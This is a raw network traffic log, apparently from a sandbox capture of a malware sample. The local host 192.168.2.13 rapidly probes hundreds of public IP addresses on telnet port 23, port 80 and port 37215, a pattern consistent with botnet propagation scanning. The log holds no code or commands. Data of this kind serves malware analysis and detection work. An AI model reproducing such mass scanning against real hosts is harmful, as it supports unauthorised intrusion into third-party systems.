Jan 30, 2025 10:43:02.153837919 CET	38884	23	192.168.2.13	46.186.95.13
Jan 30, 2025 10:43:02.153837919 CET	38885	80	192.168.2.13	200.170.89.86
Jan 30, 2025 10:43:02.153837919 CET	38884	23	192.168.2.13	83.43.193.218
Jan 30, 2025 10:43:02.153837919 CET	38884	23	192.168.2.13	128.203.154.64
Jan 30, 2025 10:43:02.153847933 CET	38885	80	192.168.2.13	211.139.142.76
Jan 30, 2025 10:43:02.153848886 CET	38885	80	192.168.2.13	155.100.79.33
Jan 30, 2025 10:43:02.153848886 CET	38884	23	192.168.2.13	154.53.227.194
Jan 30, 2025 10:43:02.153848886 CET	38885	80	192.168.2.13	37.90.192.125
Jan 30, 2025 10:43:02.153850079 CET	38885	80	192.168.2.13	203.157.165.26
Jan 30, 2025 10:43:02.153848886 CET	38884	23	192.168.2.13	109.199.164.90
Jan 30, 2025 10:43:02.153850079 CET	38884	23	192.168.2.13	98.188.56.204
Jan 30, 2025 10:43:02.153851032 CET	38884	23	192.168.2.13	70.182.161.141
Jan 30, 2025 10:43:02.153850079 CET	38885	80	192.168.2.13	71.56.0.134
Jan 30, 2025 10:43:02.153851032 CET	38884	23	192.168.2.13	51.82.14.38
Jan 30, 2025 10:43:02.153853893 CET	38884	23	192.168.2.13	122.69.60.133
Jan 30, 2025 10:43:02.153853893 CET	38884	23	192.168.2.13	69.152.251.216
Jan 30, 2025 10:43:02.153855085 CET	38884	23	192.168.2.13	199.30.10.229
Jan 30, 2025 10:43:02.153855085 CET	38884	23	192.168.2.13	152.15.8.120
Jan 30, 2025 10:43:02.153855085 CET	38885	80	192.168.2.13	216.64.208.153
Jan 30, 2025 10:43:02.153851032 CET	38884	23	192.168.2.13	198.9.3.193
Jan 30, 2025 10:43:02.153855085 CET	38885	80	192.168.2.13	189.43.216.174
Jan 30, 2025 10:43:02.153851032 CET	38885	80	192.168.2.13	151.43.109.127
Jan 30, 2025 10:43:02.153855085 CET	38885	80	192.168.2.13	79.39.134.251
Jan 30, 2025 10:43:02.153861046 CET	38884	23	192.168.2.13	194.78.70.247
Jan 30, 2025 10:43:02.153862000 CET	38884	23	192.168.2.13	1.194.211.81
Jan 30, 2025 10:43:02.153862953 CET	38884	23	192.168.2.13	118.221.142.196
Jan 30, 2025 10:43:02.153862953 CET	38884	23	192.168.2.13	31.206.83.80
Jan 30, 2025 10:43:02.153862953 CET	38884	23	192.168.2.13	17.78.23.185
Jan 30, 2025 10:43:02.153866053 CET	38884	23	192.168.2.13	19.138.99.27
Jan 30, 2025 10:43:02.153866053 CET	38884	23	192.168.2.13	158.209.40.137
Jan 30, 2025 10:43:02.153866053 CET	38885	80	192.168.2.13	62.173.184.219
Jan 30, 2025 10:43:02.153866053 CET	38884	23	192.168.2.13	18.153.66.70
Jan 30, 2025 10:43:02.153866053 CET	38885	80	192.168.2.13	190.233.64.13
Jan 30, 2025 10:43:02.153866053 CET	38884	23	192.168.2.13	82.195.38.113
Jan 30, 2025 10:43:02.153871059 CET	38884	23	192.168.2.13	109.232.225.15
Jan 30, 2025 10:43:02.153866053 CET	38885	80	192.168.2.13	58.76.61.112
Jan 30, 2025 10:43:02.153872013 CET	38884	23	192.168.2.13	152.126.148.8
Jan 30, 2025 10:43:02.153872013 CET	38885	80	192.168.2.13	204.54.37.1
Jan 30, 2025 10:43:02.153882027 CET	38884	23	192.168.2.13	185.133.1.174
Jan 30, 2025 10:43:02.153882027 CET	38884	23	192.168.2.13	210.32.231.201
Jan 30, 2025 10:43:02.153884888 CET	38885	80	192.168.2.13	147.96.14.238
Jan 30, 2025 10:43:02.153886080 CET	38885	80	192.168.2.13	186.233.144.30
Jan 30, 2025 10:43:02.153887987 CET	38885	80	192.168.2.13	104.117.250.80
Jan 30, 2025 10:43:02.153889894 CET	38885	80	192.168.2.13	189.153.133.118
Jan 30, 2025 10:43:02.153889894 CET	38885	80	192.168.2.13	102.162.157.232
Jan 30, 2025 10:43:02.153889894 CET	38885	80	192.168.2.13	37.89.53.213
Jan 30, 2025 10:43:02.153897047 CET	38884	23	192.168.2.13	8.252.135.58
Jan 30, 2025 10:43:02.153897047 CET	38885	80	192.168.2.13	118.125.240.84
Jan 30, 2025 10:43:02.153897047 CET	38885	80	192.168.2.13	107.165.225.51
Jan 30, 2025 10:43:02.153897047 CET	38885	80	192.168.2.13	38.174.102.93
Jan 30, 2025 10:43:02.153902054 CET	38884	23	192.168.2.13	176.122.214.27
Jan 30, 2025 10:43:02.153903008 CET	38885	80	192.168.2.13	93.67.245.68
Jan 30, 2025 10:43:02.153902054 CET	38885	80	192.168.2.13	155.198.77.110
Jan 30, 2025 10:43:02.153903008 CET	38885	80	192.168.2.13	34.198.239.179
Jan 30, 2025 10:43:02.153903961 CET	38884	23	192.168.2.13	182.50.126.78
Jan 30, 2025 10:43:02.153903961 CET	38884	23	192.168.2.13	34.197.211.3
Jan 30, 2025 10:43:02.153903961 CET	38884	23	192.168.2.13	123.192.229.67
Jan 30, 2025 10:43:02.153914928 CET	38884	23	192.168.2.13	19.254.137.135
Jan 30, 2025 10:43:02.153913021 CET	38884	23	192.168.2.13	110.71.213.223
Jan 30, 2025 10:43:02.153927088 CET	38885	80	192.168.2.13	209.101.206.144
Jan 30, 2025 10:43:02.153914928 CET	38885	80	192.168.2.13	184.37.125.102
Jan 30, 2025 10:43:02.153913021 CET	38885	80	192.168.2.13	143.53.33.235
Jan 30, 2025 10:43:02.153913021 CET	38884	23	192.168.2.13	220.98.152.240
Jan 30, 2025 10:43:02.153927088 CET	38884	23	192.168.2.13	100.170.36.26
Jan 30, 2025 10:43:02.153914928 CET	38885	80	192.168.2.13	141.4.242.32
Jan 30, 2025 10:43:02.153932095 CET	38885	80	192.168.2.13	123.176.252.176
Jan 30, 2025 10:43:02.153903961 CET	38884	23	192.168.2.13	145.230.212.48
Jan 30, 2025 10:43:02.153934956 CET	38884	23	192.168.2.13	58.160.23.3
Jan 30, 2025 10:43:02.153934956 CET	38884	23	192.168.2.13	34.161.6.237
Jan 30, 2025 10:43:02.153934956 CET	38885	80	192.168.2.13	161.201.38.111
Jan 30, 2025 10:43:02.153938055 CET	38884	23	192.168.2.13	220.89.104.51
Jan 30, 2025 10:43:02.153932095 CET	38884	23	192.168.2.13	172.62.55.246
Jan 30, 2025 10:43:02.153932095 CET	38884	23	192.168.2.13	123.109.152.244
Jan 30, 2025 10:43:02.153940916 CET	38885	80	192.168.2.13	223.97.115.118
Jan 30, 2025 10:43:02.153940916 CET	38884	23	192.168.2.13	187.197.106.244
Jan 30, 2025 10:43:02.153940916 CET	38885	80	192.168.2.13	187.23.23.106
Jan 30, 2025 10:43:02.153940916 CET	38884	23	192.168.2.13	92.73.32.64
Jan 30, 2025 10:43:02.153940916 CET	38885	80	192.168.2.13	178.85.77.0
Jan 30, 2025 10:43:02.153943062 CET	38884	23	192.168.2.13	46.81.43.158
Jan 30, 2025 10:43:02.153940916 CET	38885	80	192.168.2.13	4.224.71.243
Jan 30, 2025 10:43:02.153943062 CET	38884	23	192.168.2.13	202.69.46.18
Jan 30, 2025 10:43:02.153940916 CET	38884	23	192.168.2.13	178.138.163.254
Jan 30, 2025 10:43:02.153940916 CET	38885	80	192.168.2.13	151.226.58.77
Jan 30, 2025 10:43:02.153940916 CET	38884	23	192.168.2.13	218.196.202.227
Jan 30, 2025 10:43:02.153958082 CET	38884	23	192.168.2.13	136.195.46.138
Jan 30, 2025 10:43:02.153960943 CET	38884	23	192.168.2.13	19.83.116.243
Jan 30, 2025 10:43:02.153960943 CET	38884	23	192.168.2.13	84.73.195.127
Jan 30, 2025 10:43:02.153961897 CET	38884	23	192.168.2.13	197.40.4.1
Jan 30, 2025 10:43:02.153961897 CET	38884	23	192.168.2.13	42.92.223.105
Jan 30, 2025 10:43:02.153960943 CET	38884	23	192.168.2.13	57.143.49.114
Jan 30, 2025 10:43:02.153961897 CET	38884	23	192.168.2.13	166.49.143.66
Jan 30, 2025 10:43:02.153961897 CET	38885	80	192.168.2.13	79.195.126.150
Jan 30, 2025 10:43:02.153961897 CET	38884	23	192.168.2.13	120.68.149.16
Jan 30, 2025 10:43:02.153961897 CET	38885	80	192.168.2.13	112.99.138.109
Jan 30, 2025 10:43:02.153964043 CET	38885	80	192.168.2.13	110.72.150.118
Jan 30, 2025 10:43:02.153964043 CET	38884	23	192.168.2.13	8.250.232.16
Jan 30, 2025 10:43:02.153964043 CET	38885	80	192.168.2.13	83.49.219.85
Jan 30, 2025 10:43:02.153966904 CET	38885	80	192.168.2.13	136.144.58.92
Jan 30, 2025 10:43:02.153966904 CET	38884	23	192.168.2.13	203.177.192.22
Jan 30, 2025 10:43:02.153966904 CET	38884	23	192.168.2.13	106.78.213.112
Jan 30, 2025 10:43:02.153966904 CET	38885	80	192.168.2.13	212.157.86.196
Jan 30, 2025 10:43:02.153966904 CET	38884	23	192.168.2.13	71.6.111.64
Jan 30, 2025 10:43:02.153975010 CET	38885	80	192.168.2.13	216.207.136.162
Jan 30, 2025 10:43:02.153975010 CET	38884	23	192.168.2.13	197.228.144.90
Jan 30, 2025 10:43:02.153975010 CET	38885	80	192.168.2.13	63.185.10.133
Jan 30, 2025 10:43:02.153975964 CET	38884	23	192.168.2.13	54.120.107.61
Jan 30, 2025 10:43:02.153975964 CET	38884	23	192.168.2.13	171.21.129.47
Jan 30, 2025 10:43:02.153980017 CET	38885	80	192.168.2.13	118.155.233.205
Jan 30, 2025 10:43:02.153981924 CET	38884	23	192.168.2.13	173.110.228.113
Jan 30, 2025 10:43:02.153983116 CET	38885	80	192.168.2.13	191.169.156.211
Jan 30, 2025 10:43:02.154000998 CET	38884	23	192.168.2.13	38.126.42.250
Jan 30, 2025 10:43:02.154000998 CET	38885	80	192.168.2.13	122.226.115.54
Jan 30, 2025 10:43:02.154000998 CET	38884	23	192.168.2.13	153.212.25.255
Jan 30, 2025 10:43:02.154000998 CET	38884	23	192.168.2.13	34.187.247.174
Jan 30, 2025 10:43:02.154002905 CET	38884	23	192.168.2.13	167.106.2.216
Jan 30, 2025 10:43:02.154002905 CET	38885	80	192.168.2.13	176.14.103.195
Jan 30, 2025 10:43:02.154005051 CET	38885	80	192.168.2.13	180.0.114.186
Jan 30, 2025 10:43:02.154002905 CET	38884	23	192.168.2.13	27.56.13.203
Jan 30, 2025 10:43:02.154005051 CET	38884	23	192.168.2.13	159.109.73.56
Jan 30, 2025 10:43:02.154006958 CET	38885	80	192.168.2.13	49.220.21.143
Jan 30, 2025 10:43:02.154006958 CET	38885	80	192.168.2.13	142.111.34.122
Jan 30, 2025 10:43:02.154011011 CET	38884	23	192.168.2.13	176.151.207.247
Jan 30, 2025 10:43:02.154006958 CET	38884	23	192.168.2.13	79.48.36.20
Jan 30, 2025 10:43:02.154006958 CET	38884	23	192.168.2.13	213.180.248.80
Jan 30, 2025 10:43:02.154006958 CET	38885	80	192.168.2.13	53.255.165.163
Jan 30, 2025 10:43:02.154007912 CET	38885	80	192.168.2.13	4.235.150.211
Jan 30, 2025 10:43:02.154007912 CET	38885	80	192.168.2.13	196.182.242.173
Jan 30, 2025 10:43:02.154016018 CET	38884	23	192.168.2.13	211.1.7.254
Jan 30, 2025 10:43:02.154016018 CET	38884	23	192.168.2.13	72.139.148.147
Jan 30, 2025 10:43:02.154019117 CET	38884	23	192.168.2.13	222.39.154.140
Jan 30, 2025 10:43:02.154019117 CET	38885	80	192.168.2.13	115.155.158.112
Jan 30, 2025 10:43:02.154033899 CET	38885	80	192.168.2.13	153.210.101.63
Jan 30, 2025 10:43:02.154033899 CET	38884	23	192.168.2.13	207.126.64.51
Jan 30, 2025 10:43:02.154033899 CET	38884	23	192.168.2.13	60.53.204.105
Jan 30, 2025 10:43:02.154042959 CET	38884	23	192.168.2.13	132.111.97.150
Jan 30, 2025 10:43:02.154042959 CET	38885	80	192.168.2.13	34.226.23.200
Jan 30, 2025 10:43:02.154042959 CET	38884	23	192.168.2.13	84.167.105.232
Jan 30, 2025 10:43:02.154043913 CET	38885	80	192.168.2.13	116.153.168.9
Jan 30, 2025 10:43:02.154045105 CET	38885	80	192.168.2.13	142.98.21.17
Jan 30, 2025 10:43:02.154047012 CET	38885	80	192.168.2.13	92.253.99.112
Jan 30, 2025 10:43:02.154047012 CET	38884	23	192.168.2.13	162.23.95.44
Jan 30, 2025 10:43:02.154052019 CET	38885	80	192.168.2.13	77.192.104.115
Jan 30, 2025 10:43:02.154052973 CET	38885	80	192.168.2.13	152.209.94.92
Jan 30, 2025 10:43:02.154052973 CET	38884	23	192.168.2.13	12.137.148.229
Jan 30, 2025 10:43:02.154055119 CET	38884	23	192.168.2.13	195.93.24.174
Jan 30, 2025 10:43:02.154053926 CET	38885	80	192.168.2.13	59.67.140.39
Jan 30, 2025 10:43:02.154055119 CET	38884	23	192.168.2.13	162.38.83.196
Jan 30, 2025 10:43:02.154053926 CET	38885	80	192.168.2.13	19.13.220.49
Jan 30, 2025 10:43:02.154055119 CET	38884	23	192.168.2.13	138.7.81.41
Jan 30, 2025 10:43:02.154055119 CET	38885	80	192.168.2.13	86.237.124.57
Jan 30, 2025 10:43:02.154055119 CET	38885	80	192.168.2.13	164.146.147.182
Jan 30, 2025 10:43:02.154057026 CET	38884	23	192.168.2.13	1.207.8.70
Jan 30, 2025 10:43:02.154057026 CET	38884	23	192.168.2.13	173.164.93.255
Jan 30, 2025 10:43:02.154063940 CET	38884	23	192.168.2.13	42.9.192.87
Jan 30, 2025 10:43:02.154063940 CET	38885	80	192.168.2.13	206.56.170.222
Jan 30, 2025 10:43:02.154067993 CET	38885	80	192.168.2.13	184.78.88.78
Jan 30, 2025 10:43:02.154071093 CET	38885	80	192.168.2.13	116.68.80.51
Jan 30, 2025 10:43:02.154071093 CET	38885	80	192.168.2.13	142.239.180.214
Jan 30, 2025 10:43:02.154073000 CET	38885	80	192.168.2.13	112.239.159.126
Jan 30, 2025 10:43:02.154073000 CET	38885	80	192.168.2.13	210.1.20.127
Jan 30, 2025 10:43:02.154089928 CET	38885	80	192.168.2.13	130.214.19.182
Jan 30, 2025 10:43:02.154104948 CET	38885	80	192.168.2.13	19.103.36.129
Jan 30, 2025 10:43:02.154108047 CET	38885	80	192.168.2.13	202.254.26.4
Jan 30, 2025 10:43:02.154126883 CET	38885	80	192.168.2.13	95.66.19.87
Jan 30, 2025 10:43:02.154129982 CET	38885	80	192.168.2.13	157.98.65.2
Jan 30, 2025 10:43:02.154138088 CET	38885	80	192.168.2.13	68.186.169.56
Jan 30, 2025 10:43:02.154153109 CET	38885	80	192.168.2.13	2.32.149.236
Jan 30, 2025 10:43:02.154153109 CET	38885	80	192.168.2.13	38.65.118.141
Jan 30, 2025 10:43:02.154165983 CET	38885	80	192.168.2.13	144.131.51.75
Jan 30, 2025 10:43:02.154172897 CET	38885	80	192.168.2.13	14.136.168.73
Jan 30, 2025 10:43:02.154181004 CET	38885	80	192.168.2.13	25.145.72.116
Jan 30, 2025 10:43:02.154190063 CET	38885	80	192.168.2.13	218.176.127.180
Jan 30, 2025 10:43:02.154202938 CET	38885	80	192.168.2.13	167.174.65.145
Jan 30, 2025 10:43:02.154206038 CET	38885	80	192.168.2.13	151.98.168.135
Jan 30, 2025 10:43:02.154222965 CET	38885	80	192.168.2.13	221.59.249.254
Jan 30, 2025 10:43:02.154239893 CET	38885	80	192.168.2.13	151.32.54.39
Jan 30, 2025 10:43:02.154243946 CET	38885	80	192.168.2.13	198.105.36.154
Jan 30, 2025 10:43:02.154244900 CET	38885	80	192.168.2.13	135.190.0.146
Jan 30, 2025 10:43:02.154266119 CET	38885	80	192.168.2.13	204.193.135.51
Jan 30, 2025 10:43:02.154272079 CET	38885	80	192.168.2.13	98.150.68.5
Jan 30, 2025 10:43:02.154272079 CET	38885	80	192.168.2.13	23.89.41.152
Jan 30, 2025 10:43:02.154273987 CET	38885	80	192.168.2.13	118.230.250.184
Jan 30, 2025 10:43:02.154279947 CET	38885	80	192.168.2.13	101.34.138.52
Jan 30, 2025 10:43:02.154293060 CET	38885	80	192.168.2.13	112.151.216.166
Jan 30, 2025 10:43:02.154293060 CET	38885	80	192.168.2.13	169.84.64.236
Jan 30, 2025 10:43:02.154301882 CET	38885	80	192.168.2.13	97.59.141.183
Jan 30, 2025 10:43:02.154315948 CET	38885	80	192.168.2.13	151.154.226.54
Jan 30, 2025 10:43:02.154325962 CET	38885	80	192.168.2.13	109.37.252.95
Jan 30, 2025 10:43:02.154342890 CET	38885	80	192.168.2.13	88.215.174.25
Jan 30, 2025 10:43:02.154344082 CET	38885	80	192.168.2.13	61.175.107.131
Jan 30, 2025 10:43:02.154350042 CET	38885	80	192.168.2.13	199.129.89.221
Jan 30, 2025 10:43:02.154367924 CET	38885	80	192.168.2.13	181.129.174.214
Jan 30, 2025 10:43:02.154370070 CET	38885	80	192.168.2.13	19.186.132.205
Jan 30, 2025 10:43:02.154375076 CET	38885	80	192.168.2.13	27.229.118.106
Jan 30, 2025 10:43:02.154375076 CET	38885	80	192.168.2.13	195.148.242.38
Jan 30, 2025 10:43:02.154387951 CET	38885	80	192.168.2.13	83.194.230.68
Jan 30, 2025 10:43:02.154391050 CET	38885	80	192.168.2.13	58.97.19.231
Jan 30, 2025 10:43:02.154391050 CET	38885	80	192.168.2.13	176.2.9.225
Jan 30, 2025 10:43:02.154400110 CET	38885	80	192.168.2.13	9.54.252.101
Jan 30, 2025 10:43:02.154414892 CET	38885	80	192.168.2.13	223.50.222.34
Jan 30, 2025 10:43:02.154417992 CET	38885	80	192.168.2.13	187.96.180.107
Jan 30, 2025 10:43:02.154432058 CET	38885	80	192.168.2.13	89.194.126.110
Jan 30, 2025 10:43:02.154438972 CET	38885	80	192.168.2.13	143.152.15.171
Jan 30, 2025 10:43:02.154443979 CET	38885	80	192.168.2.13	2.97.54.164
Jan 30, 2025 10:43:02.154458046 CET	38885	80	192.168.2.13	132.130.165.159
Jan 30, 2025 10:43:02.154462099 CET	38885	80	192.168.2.13	185.133.167.169
Jan 30, 2025 10:43:02.154556036 CET	60200	80	192.168.2.13	191.252.94.92
Jan 30, 2025 10:43:02.154571056 CET	60200	80	192.168.2.13	191.252.94.92
Jan 30, 2025 10:43:02.155093908 CET	60960	80	192.168.2.13	191.252.94.92
Jan 30, 2025 10:43:02.155492067 CET	57794	80	192.168.2.13	116.34.227.92
Jan 30, 2025 10:43:02.155503035 CET	57794	80	192.168.2.13	116.34.227.92
Jan 30, 2025 10:43:02.155801058 CET	58552	80	192.168.2.13	116.34.227.92
Jan 30, 2025 10:43:02.156202078 CET	45484	80	192.168.2.13	209.77.2.157
Jan 30, 2025 10:43:02.156202078 CET	45484	80	192.168.2.13	209.77.2.157
Jan 30, 2025 10:43:02.156510115 CET	46242	80	192.168.2.13	209.77.2.157
Jan 30, 2025 10:43:02.156908035 CET	51816	80	192.168.2.13	117.176.214.115
Jan 30, 2025 10:43:02.156908035 CET	51816	80	192.168.2.13	117.176.214.115
Jan 30, 2025 10:43:02.157316923 CET	52572	80	192.168.2.13	117.176.214.115
Jan 30, 2025 10:43:02.158099890 CET	80	38885	136.231.21.226	192.168.2.13
Jan 30, 2025 10:43:02.158149004 CET	38885	80	192.168.2.13	136.231.21.226
Jan 30, 2025 10:43:02.158183098 CET	80	38885	151.240.35.232	192.168.2.13
Jan 30, 2025 10:43:02.158194065 CET	80	38885	183.103.119.38	192.168.2.13
Jan 30, 2025 10:43:02.158204079 CET	80	38885	109.76.63.37	192.168.2.13
Jan 30, 2025 10:43:02.158214092 CET	80	38885	48.121.103.134	192.168.2.13
Jan 30, 2025 10:43:02.158222914 CET	80	38885	199.200.216.72	192.168.2.13
Jan 30, 2025 10:43:02.158226013 CET	38885	80	192.168.2.13	151.240.35.232
Jan 30, 2025 10:43:02.158240080 CET	23	38884	92.242.8.21	192.168.2.13
Jan 30, 2025 10:43:02.158238888 CET	38885	80	192.168.2.13	183.103.119.38
Jan 30, 2025 10:43:02.158242941 CET	38885	80	192.168.2.13	48.121.103.134
Jan 30, 2025 10:43:02.158246040 CET	38885	80	192.168.2.13	109.76.63.37
Jan 30, 2025 10:43:02.158252001 CET	80	38885	77.111.99.111	192.168.2.13
Jan 30, 2025 10:43:02.158256054 CET	38885	80	192.168.2.13	199.200.216.72
Jan 30, 2025 10:43:02.158262014 CET	80	38885	17.41.47.140	192.168.2.13
Jan 30, 2025 10:43:02.158273935 CET	23	38884	32.189.54.104	192.168.2.13
Jan 30, 2025 10:43:02.158288956 CET	38884	23	192.168.2.13	92.242.8.21
Jan 30, 2025 10:43:02.158294916 CET	38885	80	192.168.2.13	77.111.99.111
Jan 30, 2025 10:43:02.158297062 CET	23	38884	163.200.192.131	192.168.2.13
Jan 30, 2025 10:43:02.158297062 CET	38885	80	192.168.2.13	17.41.47.140
Jan 30, 2025 10:43:02.158319950 CET	23	38884	151.135.193.174	192.168.2.13
Jan 30, 2025 10:43:02.158319950 CET	38884	23	192.168.2.13	32.189.54.104
Jan 30, 2025 10:43:02.158329964 CET	23	38884	69.99.20.250	192.168.2.13
Jan 30, 2025 10:43:02.158335924 CET	38884	23	192.168.2.13	163.200.192.131
Jan 30, 2025 10:43:02.158348083 CET	23	38884	186.187.53.184	192.168.2.13
Jan 30, 2025 10:43:02.158358097 CET	23	38884	90.62.36.211	192.168.2.13
Jan 30, 2025 10:43:02.158382893 CET	38884	23	192.168.2.13	69.99.20.250
Jan 30, 2025 10:43:02.158385038 CET	38884	23	192.168.2.13	151.135.193.174
Jan 30, 2025 10:43:02.158385038 CET	38884	23	192.168.2.13	186.187.53.184
Jan 30, 2025 10:43:02.158391953 CET	38884	23	192.168.2.13	90.62.36.211
Jan 30, 2025 10:43:02.158395052 CET	80	38885	210.40.67.31	192.168.2.13
Jan 30, 2025 10:43:02.158404112 CET	23	38884	32.235.214.95	192.168.2.13
Jan 30, 2025 10:43:02.158427954 CET	38885	80	192.168.2.13	210.40.67.31
Jan 30, 2025 10:43:02.158433914 CET	38884	23	192.168.2.13	32.235.214.95
Jan 30, 2025 10:43:02.158881903 CET	23	38884	106.227.214.2	192.168.2.13
Jan 30, 2025 10:43:02.158920050 CET	38884	23	192.168.2.13	106.227.214.2
Jan 30, 2025 10:43:02.158927917 CET	23	38884	46.234.80.228	192.168.2.13
Jan 30, 2025 10:43:02.158938885 CET	23	38884	94.55.105.163	192.168.2.13
Jan 30, 2025 10:43:02.158947945 CET	23	38884	198.60.77.112	192.168.2.13
Jan 30, 2025 10:43:02.158958912 CET	23	38884	78.239.84.213	192.168.2.13
Jan 30, 2025 10:43:02.158968925 CET	38884	23	192.168.2.13	94.55.105.163
Jan 30, 2025 10:43:02.158970118 CET	38884	23	192.168.2.13	46.234.80.228
Jan 30, 2025 10:43:02.158989906 CET	38884	23	192.168.2.13	78.239.84.213
Jan 30, 2025 10:43:02.158998013 CET	38884	23	192.168.2.13	198.60.77.112
Jan 30, 2025 10:43:02.159050941 CET	23	38884	96.155.63.75	192.168.2.13
Jan 30, 2025 10:43:02.159065962 CET	80	38885	31.100.227.119	192.168.2.13
Jan 30, 2025 10:43:02.159074068 CET	23	38884	178.166.136.50	192.168.2.13
Jan 30, 2025 10:43:02.159082890 CET	23	38884	118.168.92.162	192.168.2.13
Jan 30, 2025 10:43:02.159090996 CET	23	38884	189.22.27.107	192.168.2.13
Jan 30, 2025 10:43:02.159092903 CET	38884	23	192.168.2.13	96.155.63.75
Jan 30, 2025 10:43:02.159105062 CET	38884	23	192.168.2.13	178.166.136.50
Jan 30, 2025 10:43:02.159106016 CET	80	38885	64.110.107.109	192.168.2.13
Jan 30, 2025 10:43:02.159110069 CET	23	38884	97.224.0.71	192.168.2.13
Jan 30, 2025 10:43:02.159115076 CET	23	38884	146.138.45.44	192.168.2.13
Jan 30, 2025 10:43:02.159117937 CET	38885	80	192.168.2.13	31.100.227.119
Jan 30, 2025 10:43:02.159117937 CET	38884	23	192.168.2.13	118.168.92.162
Jan 30, 2025 10:43:02.159123898 CET	23	38884	24.32.0.239	192.168.2.13
Jan 30, 2025 10:43:02.159133911 CET	23	38884	17.0.169.100	192.168.2.13
Jan 30, 2025 10:43:02.159142971 CET	80	38885	64.255.239.118	192.168.2.13
Jan 30, 2025 10:43:02.159149885 CET	38884	23	192.168.2.13	97.224.0.71
Jan 30, 2025 10:43:02.159152031 CET	80	38885	200.53.66.25	192.168.2.13
Jan 30, 2025 10:43:02.159153938 CET	38884	23	192.168.2.13	189.22.27.107
Jan 30, 2025 10:43:02.159162045 CET	23	38884	208.30.216.132	192.168.2.13
Jan 30, 2025 10:43:02.159163952 CET	38884	23	192.168.2.13	24.32.0.239
Jan 30, 2025 10:43:02.159162998 CET	38884	23	192.168.2.13	146.138.45.44
Jan 30, 2025 10:43:02.159167051 CET	23	38884	69.234.228.214	192.168.2.13
Jan 30, 2025 10:43:02.159171104 CET	38884	23	192.168.2.13	17.0.169.100
Jan 30, 2025 10:43:02.159172058 CET	23	38884	113.177.220.106	192.168.2.13
Jan 30, 2025 10:43:02.159178019 CET	38885	80	192.168.2.13	64.255.239.118
Jan 30, 2025 10:43:02.159181118 CET	23	38884	88.55.17.162	192.168.2.13
Jan 30, 2025 10:43:02.159188986 CET	38885	80	192.168.2.13	64.110.107.109
Jan 30, 2025 10:43:02.159198999 CET	23	38884	80.52.16.7	192.168.2.13
Jan 30, 2025 10:43:02.159207106 CET	38884	23	192.168.2.13	69.234.228.214
Jan 30, 2025 10:43:02.159209967 CET	38885	80	192.168.2.13	200.53.66.25
Jan 30, 2025 10:43:02.159209967 CET	23	38884	47.105.16.28	192.168.2.13
Jan 30, 2025 10:43:02.159218073 CET	80	38885	85.176.89.48	192.168.2.13
Jan 30, 2025 10:43:02.159218073 CET	38884	23	192.168.2.13	208.30.216.132
Jan 30, 2025 10:43:02.159223080 CET	80	38885	94.107.173.125	192.168.2.13
Jan 30, 2025 10:43:02.159223080 CET	38884	23	192.168.2.13	113.177.220.106
Jan 30, 2025 10:43:02.159224987 CET	38884	23	192.168.2.13	88.55.17.162
Jan 30, 2025 10:43:02.159226894 CET	23	38884	139.2.134.36	192.168.2.13
Jan 30, 2025 10:43:02.159231901 CET	80	38885	180.147.135.125	192.168.2.13
Jan 30, 2025 10:43:02.159240007 CET	23	38884	112.106.77.104	192.168.2.13
Jan 30, 2025 10:43:02.159250021 CET	23	38884	179.138.153.210	192.168.2.13
Jan 30, 2025 10:43:02.159262896 CET	38884	23	192.168.2.13	47.105.16.28
Jan 30, 2025 10:43:02.159262896 CET	38884	23	192.168.2.13	80.52.16.7
Jan 30, 2025 10:43:02.159262896 CET	38885	80	192.168.2.13	85.176.89.48
Jan 30, 2025 10:43:02.159270048 CET	38885	80	192.168.2.13	94.107.173.125
Jan 30, 2025 10:43:02.159272909 CET	23	38884	4.132.115.240	192.168.2.13
Jan 30, 2025 10:43:02.159282923 CET	23	38884	43.57.180.250	192.168.2.13
Jan 30, 2025 10:43:02.159284115 CET	38884	23	192.168.2.13	139.2.134.36
Jan 30, 2025 10:43:02.159284115 CET	38885	80	192.168.2.13	180.147.135.125
Jan 30, 2025 10:43:02.159295082 CET	38884	23	192.168.2.13	179.138.153.210
Jan 30, 2025 10:43:02.159295082 CET	38884	23	192.168.2.13	112.106.77.104
Jan 30, 2025 10:43:02.159298897 CET	80	60200	191.252.94.92	192.168.2.13
Jan 30, 2025 10:43:02.159322977 CET	38884	23	192.168.2.13	43.57.180.250
Jan 30, 2025 10:43:02.159331083 CET	38884	23	192.168.2.13	4.132.115.240
Jan 30, 2025 10:43:02.160264015 CET	80	57794	116.34.227.92	192.168.2.13
Jan 30, 2025 10:43:02.160940886 CET	80	45484	209.77.2.157	192.168.2.13
Jan 30, 2025 10:43:02.161653996 CET	80	51816	117.176.214.115	192.168.2.13
Jan 30, 2025 10:43:02.179174900 CET	49264	37215	192.168.2.13	197.15.93.92
Jan 30, 2025 10:43:02.179181099 CET	48158	80	192.168.2.13	74.228.168.93
Jan 30, 2025 10:43:02.179205894 CET	52990	80	192.168.2.13	118.40.123.22
Jan 30, 2025 10:43:02.179214001 CET	38966	23	192.168.2.13	110.2.50.60
Jan 30, 2025 10:43:02.179214001 CET	47520	23	192.168.2.13	61.38.251.161
Jan 30, 2025 10:43:02.179229975 CET	44478	23	192.168.2.13	216.134.201.22
Jan 30, 2025 10:43:02.179234028 CET	48066	23	192.168.2.13	132.151.221.240
Jan 30, 2025 10:43:02.179240942 CET	51754	23	192.168.2.13	184.159.212.120
Jan 30, 2025 10:43:02.179255962 CET	34012	23	192.168.2.13	166.52.97.209
Jan 30, 2025 10:43:02.179270029 CET	33948	37215	192.168.2.13	197.210.224.92
Jan 30, 2025 10:43:02.179280996 CET	58200	80	192.168.2.13	201.240.60.239
Jan 30, 2025 10:43:02.179292917 CET	51050	37215	192.168.2.13	197.159.203.66
Jan 30, 2025 10:43:02.179303885 CET	40688	80	192.168.2.13	39.162.215.37
Jan 30, 2025 10:43:02.179326057 CET	34142	80	192.168.2.13	24.92.71.116
Jan 30, 2025 10:43:02.179328918 CET	39298	80	192.168.2.13	110.189.31.240
Jan 30, 2025 10:43:02.179332018 CET	40274	37215	192.168.2.13	156.196.248.9
Jan 30, 2025 10:43:02.179332018 CET	57012	80	192.168.2.13	140.207.66.27
Jan 30, 2025 10:43:02.179335117 CET	42064	37215	192.168.2.13	197.14.30.79
Jan 30, 2025 10:43:02.179356098 CET	46428	37215	192.168.2.13	41.41.97.126
Jan 30, 2025 10:43:02.179356098 CET	54202	80	192.168.2.13	142.153.17.34
Jan 30, 2025 10:43:02.179356098 CET	58900	80	192.168.2.13	37.15.41.187
Jan 30, 2025 10:43:02.184019089 CET	37215	49264	197.15.93.92	192.168.2.13
